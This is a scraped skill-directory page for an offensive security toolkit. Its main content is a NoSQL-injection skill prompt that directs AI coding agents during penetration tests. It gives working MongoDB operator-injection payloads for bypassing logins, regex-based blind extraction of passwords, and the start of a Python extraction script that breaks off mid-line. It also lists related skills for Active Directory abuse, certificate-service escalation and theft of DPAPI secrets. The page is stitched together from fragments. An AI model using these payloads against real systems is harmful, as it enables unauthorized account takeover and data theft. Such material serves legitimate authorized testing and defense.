acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner,…
Guide NoSQL injection exploitation during authorized penetration testing.
Claude Code
$ npx -y skills add blacklanternsecurity/red-run --skill nosql-injection --agent claude-code
Codex
$ npx skills add blacklanternsecurity/red-run --skill nosql-injection -a codex -y
Cursor
$ npx skills add blacklanternsecurity/red-run --skill nosql-injection -a cursor -y
Gemini CLI
$ npx skills add blacklanternsecurity/red-run --skill nosql-injection -a gemini-cli -y
GitHub Copilot
$ npx skills add blacklanternsecurity/red-run --skill nosql-injection -a github-copilot -y
OpenCode
$ npx skills add blacklanternsecurity/red-run --skill nosql-injection -a opencode -y
Windsurf
$ npx skills add blacklanternsecurity/red-run --skill nosql-injection -a windsurf -y
name: nosql-injection description: > Guide NoSQL injection exploitation during authorized penetration testing. keywords: - nosql injection - mongodb injection - nosqli - operator injection - $ne injection - $where injection - mongo auth bypass - nosql auth bypass - couchdb injection - mongoose injection - graphql nosql - nosql blind extraction tools: - burpsuite (NoSQLi Scanner extension) - nosqlmap - nosqli opsec: medium
You are helping a penetration tester exploit NoSQL injection vulnerabilities. The target application passes user-controlled input to NoSQL database queries (typically MongoDB) without proper sanitization. The goal is to bypass authentication, extract data, or achieve code execution. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
GraphQL variable, API parameter)
`$operator`), JSON-based APIs, Node.js/Express backends, Mongoose ORM
If not already provided, determine: 1. **Database** — MongoDB (most common), CouchDB, or other
2. **Injection format** — URL-encoded parameters or JSON body
3. **Injection point** — which parameter accepts operators 4. **Response behavior** — different content for true/false conditions?
URL-encoded (test each parameter):
param[$ne]=test param[$gt]= param[$exists]=true
JSON body:
{"param": {"$ne": "test"}}
{"param": {"$gt": ""}}
{"param": {"$exists": true}}If the response changes (login succeeds, different content, different status code), the parameter accepts MongoDB operators.
The most common NoSQL injection — bypass login forms by injecting operators that make the query match any document.
# Match any username and password ($ne = not equal to garbage) username[$ne]=toto&password[$ne]=toto # Match all with regex username[$regex]=.*&password[$regex]=.* # Match any existing field username[$exists]=true&password[$exists]=true # Greater than empty string (matches everything) username[$gt]=&password[$gt]= # Target specific user with wildcard password username=admin&password[$ne]=wrong # Target admin with regex username[$regex]=^admin&password[$ne]=wrong
{"username": {"$ne": null}, "password": {"$ne": null}}{"username": {"$ne": ""}, "password": {"$ne": ""}}{"username": {"$gt": ""}, "password": {"$gt": ""}}{"username": "admin", "password": {"$ne": "wrong"}}{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}{"username": "admin", "$or": [{"password": {"$ne": ""}}, {"password": {"$regex": ".*"}}]}{"username": {"$in": ["admin", "root", "administrator", "Admin"]}, "password": {"$gt": ""}}# Skip admin, find the next user username[$nin][]=admin&password[$gt]=
When operator injection works but data isn't directly reflected, extract values character by character using `$regex`.
# Test password length (adjust the number)
username=admin&password[$regex]=.{1} # true if len >= 1
username=admin&password[$regex]=.{5} # true if len >= 5
username=admin&password[$regex]=.{10} # true if len >= 10
username=admin&password[$regex]=.{8} # narrow down with binary search# Test first character username=admin&password[$regex]=^a.* username=admin&password[$regex]=^b.* ... username=admin&password[$regex]=^m.* # true — first char is 'm' # Test second character username=admin&password[$regex]=^ma.* username=admin&password[$regex]=^mb.* ... username=admin&password[$regex]=^md.* # true — second char is 'd' # Continue until full value extracted username=admin&password[$regex]=^mdp$ # exact match confirms
import requests
import string
url = "http://TARGET/login"
headers = {"Content-Type": "application/json"}
username = "admin"
password = ""
charset = string.ascii_letters + string.digits + string.punctuation
while True:
found = False
for c in charset:
if c in ['*', '+', '.', '?', '|', '\\', '^', '$', '{', '}', '(', ')']:
c = '\\' + c # escape regex metacharacters
payload = '{"username": "%s", "password": {"$regex": "^%s"}}' % (
username,Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner,…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL →…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse.…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…